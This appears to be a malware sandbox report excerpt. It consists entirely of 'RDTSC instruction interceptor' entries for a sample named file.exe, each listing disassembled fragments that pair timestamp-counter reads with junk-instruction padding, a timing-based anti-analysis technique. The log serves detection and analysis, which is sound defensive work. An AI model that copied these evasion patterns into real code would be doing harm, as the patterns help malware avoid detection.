Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13007E6 second address: 13007EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13007EA second address: 13007F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300959 second address: 1300967 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FD2B84F6C0Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300967 second address: 1300989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B8DCB2DEh 0x00000009 js 00007FD2B8DCB2DAh 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300989 second address: 1300993 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD2B84F6BF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300B1C second address: 1300B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300B20 second address: 1300B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6BFAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300CB7 second address: 1300CBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300CBB second address: 1300CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FD2B84F6C02h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FD2B84F6C0Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300CF0 second address: 1300CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300CF6 second address: 1300CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300CFC second address: 1300D06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300D06 second address: 1300D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300D0C second address: 1300D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308FA8 second address: 1308FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308FAE second address: 1308FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13080DB second address: 1308105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B84F6C09h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jc 00007FD2B84F6BFEh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308105 second address: 1308109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308109 second address: 130811E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2B84F6BFBh 0x00000009 js 00007FD2B84F6BF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E51 second address: 1310E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E55 second address: 1310E59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E59 second address: 1310E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD2B8DCB2DBh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313DFF second address: 1313E0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FD2B84F6BF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E8FD second address: 131E91E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD2B8DCB2D6h 0x0000000a popad 0x0000000b jmp 00007FD2B8DCB2E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E91E second address: 131E946 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FD2B84F6BF6h 0x00000009 jmp 00007FD2B84F6BFCh 0x0000000e jc 00007FD2B84F6BF6h 0x00000014 jnp 00007FD2B84F6BF6h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322CDE second address: 1322D0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E2h 0x00000007 jp 00007FD2B8DCB2DEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007FD2B8DCB2DCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322D0C second address: 1322D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132280F second address: 1322818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322818 second address: 132281E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132281E second address: 1322837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B8DCB2E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322837 second address: 132283B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125858D second address: 1258593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258593 second address: 125859D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD2B84F6BF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13341AB second address: 13341B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CC69 second address: 133CC6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CC6F second address: 133CC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CC73 second address: 133CC81 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD2B84F6BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CC81 second address: 133CC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CC85 second address: 133CC8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133BE27 second address: 133BE2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133BF7F second address: 133BF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FBBE second address: 133FBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FBC8 second address: 133FBCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F915 second address: 133F919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C142 second address: 134C157 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6BFFh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C157 second address: 134C15B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134DDD8 second address: 134DDDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13544AC second address: 13544B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13544B2 second address: 13544B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13544B6 second address: 13544C0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD2B8DCB2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13544C0 second address: 13544DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jc 00007FD2B84F6C14h 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361F55 second address: 1361F6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD2B8DCB2DEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361CA9 second address: 1361CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007FD2B84F6BFAh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361CBF second address: 1361CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372AEC second address: 1372B07 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FD2B84F6C01h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372B07 second address: 1372B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372B18 second address: 1372B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371FA8 second address: 1371FAE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371FAE second address: 1371FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371FB9 second address: 1371FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371FBF second address: 1371FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jg 00007FD2B84F6C02h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13724EB second address: 1372517 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FD2B8DCB2DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD2B8DCB2E8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372794 second address: 137279E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137279E second address: 13727A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13727A8 second address: 13727B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13727B4 second address: 13727B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13727B8 second address: 13727D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD2B84F6C02h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FD2B84F6C02h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13727D8 second address: 13727DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13727DE second address: 13727E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376DC9 second address: 1376DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378853 second address: 1378864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jne 00007FD2B84F6BF6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378864 second address: 137886A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137886A second address: 1378886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FD2B84F6C02h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378886 second address: 137888C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137888C second address: 137889C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007FD2B84F6BF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A778 second address: 137A791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD2B8DCB2E2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A791 second address: 137A795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A795 second address: 137A79F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0556 second address: 59C055D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C055D second address: 59C059F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD2B8DCB2E2h 0x00000009 sbb si, A908h 0x0000000e jmp 00007FD2B8DCB2DBh 0x00000013 popfd 0x00000014 mov ecx, 02B1437Fh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FD2B8DCB2E0h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297E29 second address: 1297E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297E2D second address: 1297E4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e ja 00007FD2B8DCB2D6h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298027 second address: 129802D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0DD2 second address: 59C0DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0DD8 second address: 59C0DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0DDD second address: 59C0E32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 pushfd 0x00000007 jmp 00007FD2B8DCB2E1h 0x0000000c sbb ax, 6E76h 0x00000011 jmp 00007FD2B8DCB2E1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push dword ptr [ebp+04h] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushfd 0x00000021 jmp 00007FD2B8DCB2DAh 0x00000026 or eax, 31AC6398h 0x0000002c jmp 00007FD2B8DCB2DBh 0x00000031 popfd 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0E8C second address: 59C0E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0E91 second address: 59C0EA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2B8DCB2DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0EA0 second address: 59C0DD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0008h 0x0000000b nop 0x0000000c mov dword ptr [010C70C0h], eax 0x00000011 push 00E11310h 0x00000016 mov ecx, dword ptr [010C70A8h] 0x0000001c push ecx 0x0000001d call 00007FD2BD0BD889h 0x00000022 mov edi, edi 0x00000024 jmp 00007FD2B84F6C00h 0x00000029 xchg eax, ebp 0x0000002a jmp 00007FD2B84F6C00h 0x0000002f push eax 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FD2B84F6C01h 0x00000037 xor ax, 1BB6h 0x0000003c jmp 00007FD2B84F6C01h 0x00000041 popfd 0x00000042 mov bx, ax 0x00000045 popad 0x00000046 xchg eax, ebp 0x00000047 jmp 00007FD2B84F6BFAh 0x0000004c mov ebp, esp 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E002A second address: 59E002E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E002E second address: 59E003D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6BFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E003D second address: 59E0042 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0042 second address: 59E0059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 2099CB08h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0059 second address: 59E007B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov dx, 6450h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD2B8DCB2E2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E007B second address: 59E008D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2B84F6BFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E008D second address: 59E00BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FD2B8DCB2DCh 0x0000000e mov dword ptr [esp], ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD2B8DCB2E7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E00BE second address: 59E00C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
